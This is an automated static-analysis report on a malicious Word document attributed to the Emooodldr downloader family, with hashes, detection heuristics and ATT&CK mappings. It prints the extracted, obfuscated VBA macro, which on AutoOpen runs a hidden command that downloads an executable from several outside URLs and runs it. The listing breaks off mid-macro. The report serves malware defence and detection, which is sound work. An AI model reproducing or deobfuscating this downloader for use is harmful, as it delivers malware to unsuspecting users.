Emooodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 d00be1070b0155e6…

MALICIOUS

Office (OLE)

63.5 KB Created: 2018-09-18 19:20:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 2b645653216cf143f6b73626e2bbbe31 SHA-1: a55d1c6d61e59ece7e7d0e0594075c56702b9f86 SHA-256: d00be1070b0155e66502d33ebdf4c7d1f9d3faac983848a40cf96f8c63d50a78
142 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, a common technique for initial execution. The macro attempts to construct and execute a command using cmd.exe, indicating it likely downloads and runs a second-stage payload. The ClamAV detection name 'Doc.Downloader.Emooodldr' strongly suggests the Emooodldr family.

Heuristics 5

  • ClamAV: Doc.Downloader.Emooodldr-6689561-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emooodldr-6689561-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5008 bytes
SHA-256: fe6f912eefbce8c2d58bae7232528475ca23bcd815e5d7f7569ed3423b504704
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hmPtPanBTZfrmR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ZjhBKswR = 0
   Dim nqOcr(2)
nqOcr(0) = Right(dUjik, 26)
nqOcr(1) = Right(dUjik, 26)
   Dim kkckw(2)
kkckw(0) = Mid(EoHVMPTz, 59, 162)
kkckw(1) = MidB(tBwPwolk, 253, 419)
   Dim rJRMq(4)
rJRMq(0) = Mid(EoHVMPTz, 59, 162)
rJRMq(1) = Right(dUjik, 26)
rJRMq(2) = Mid(EoHVMPTz, 59, 162)
rJRMq(3) = Left(dKSGhS, 295)
   Dim wlltF(2)
wlltF(0) = Mid(EoHVMPTz, 59, 162)
wlltF(1) = Left(dKSGhS, 295)
   Dim skNkY(3)
skNkY(0) = Mid(EoHVMPTz, 59, 162)
skNkY(1) = Mid(EoHVMPTz, 59, 162)
skNkY(2) = Mid(EoHVMPTz, 59, 162)
   Dim vSJlC(4)
vSJlC(0) = MidB(tBwPwolk, 253, 419)
vSJlC(1) = Left(dKSGhS, 295)
vSJlC(2) = Left(dKSGhS, 295)
vSJlC(3) = Right(dUjik, 26)
Shell@ AJUrmoziYN + vDjSWowabs + rrXLjBmNzDEq, CInt(ZjhBKswR)
   Dim WoJDGA(3)
WoJDGA(0) = MidB(tBwPwolk, 253, 419)
WoJDGA(1) = Mid(EoHVMPTz, 59, 162)
WoJDGA(2) = Left(dKSGhS, 295)
   Dim tcrwP(4)
tcrwP(0) = MidB(tBwPwolk, 253, 419)
tcrwP(1) = Right(dUjik, 26)
tcrwP(2) = Mid(EoHVMPTz, 59, 162)
tcrwP(3) = MidB(tBwPwolk, 253, 419)
End Sub


Attribute VB_Name = "shsnphEOZJDktX"
Function AJUrmoziYN()
Dim rfjGW(4)
rfjGW(0) = Mid(EoHVMPTz, 59, 162)
rfjGW(1) = Right(dUjik, 26)
rfjGW(2) = Mid(EoHVMPTz, 59, 162)
rfjGW(3) = Right(dUjik, 26)
   Dim vdnof(2)
vdnof(0) = Mid(EoHVMPTz, 59, 162)
vdnof(1) = Mid(EoHVMPTz, 59, 162)
   Dim QFJfGd(2)
QFJfGd(0) = MidB(tBwPwolk, 253, 419)
QFJfGd(1) = MidB(tBwPwolk, 253, 419)
dNzWM = Format(Chr(10 + 12 + 18 + 0 + 59)) + "md /V^:O/" + Format(Chr(6 + 8 + 12 + 0 + 41)) + Format(Chr(3 + 3 + 5 + 0 + 23)) + "^se^t ^w^u^" + "y= ^  ^ ^ ^" + " ^     ^  ^ " + "^   ^}}^{^h" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^t^a" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^};kaer^b^;iF^j" + "$ m^etI-^ekovn^I;)" + "i^F^j^$ ^,^B^p" + "^i^$(e^l^iFd^a^o^" + "ln^w^o^D.^q^AV^" + "${yr^t^{)^k^lv^$^ " + "ni^ ^Bp^i^$(^h" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "a^erof;^" + "'e^xe.'+^jiE^$+'^\'" + "^+" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "i^lbu^p:vn"
Dim ZzGoG(3)
ZzGoG(0) = Mid(EoHVMPTz, 59, 162)
ZzGoG(1) = Left(dKSGhS, 295)
ZzGoG(2) = Right(dUjik, 26)
   Dim RAnLM(4)
RAnLM(0) = Left(dKSGhS, 295)
RAnLM(1) = Right(dUjik, 26)
RAnLM(2) = MidB(tBwPwolk, 253, 419)
RAnLM(3) = Mid(EoHVMPTz, 59, 162)
   Dim TIUAZz(4)
TIUAZz(0) = Right(dUjik, 26)
TIUAZz(1) = Right(dUjik, 26)
TIUAZz(2) = Mid(EoHVMPTz, 59, 162)
TIUAZz(3) = Mid(EoHVMPTz, 59, 162)
BEFbdP = "e$=^i^Fj$;^'8" + "5^6'^ ^= ^jiE^$;)'^@^'(^ti^" + "lp^S^.'vu^Y/^ur.oto" + "^hp^-avo^sare^k//^:^pt^t" + "^h@^T^Wo/^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.etybel" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^i//" + "^:^ptt^h@^J^h^S^y^O" + "b^un/^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.nodn^o^l^" + "e^g^dir^dl^e//^:^p^" + "tt^h@^H^0^7^" + "Q^5apZ/g^s.^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.sy^seripm^e//"
Dim HozpjW(5)
HozpjW(0) = Left(dKSGhS, 295)
HozpjW(1) = Right(dUjik, 26)
HozpjW(2) = Left(dKSGhS, 295)
HozpjW(3) = MidB(tBwPwolk, 253, 419)
HozpjW(4) = Right(dUjik, 26)
   Dim kLaKPO(5)
kLaKPO(0) = Left(dKSGhS, 295)
kLaKPO(1) = Left(dKSGhS, 295)
kLaKPO(2) = Left(dKSGhS, 295)
kLaKPO(3) = MidB(tBwPwolk, 253, 419)
kLaKPO(4) = Right(dUjik, 26)
   Dim dGVosO(5)
dGVosO(0) = MidB(tBwPwolk, 253, 419)
dGVosO(1) = Right(dUjik, 26)
dGVosO(2) = Mid(EoHVMPTz, 59, 162)
dGVosO(3) = Mid(EoHVMPTz, 59, 162)
dGVosO(4) = Right(dUjik, 26)
dqzqTJkbK = "^:^p^t^t^h@^p^tP" + Format(Chr(10 + 12 + 18 + 0 + 59)) + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^K/" + "^m^o" + Format(Chr(10 + 12 + 18 + 0 + 59)) + ".^dyarf//:pt^th^'^=^k^lv^" + "$;^tneil" + Format(Chr(6 + 8 + 12 + 0 + 41)) + "b" + "eW^.^teN^ t" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^e^jb" + "o-^w^en^=q^A" + "V$^ ^ll^ehsr^e" + "w^op&&^f^or /^L %n ^in (3^" + "5^4^,-^1^,^0)^d^o ^s^et ^IN^y" + "=!^IN^y!!^w^u^y"
Dim qWmdn(5)
qWmd
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.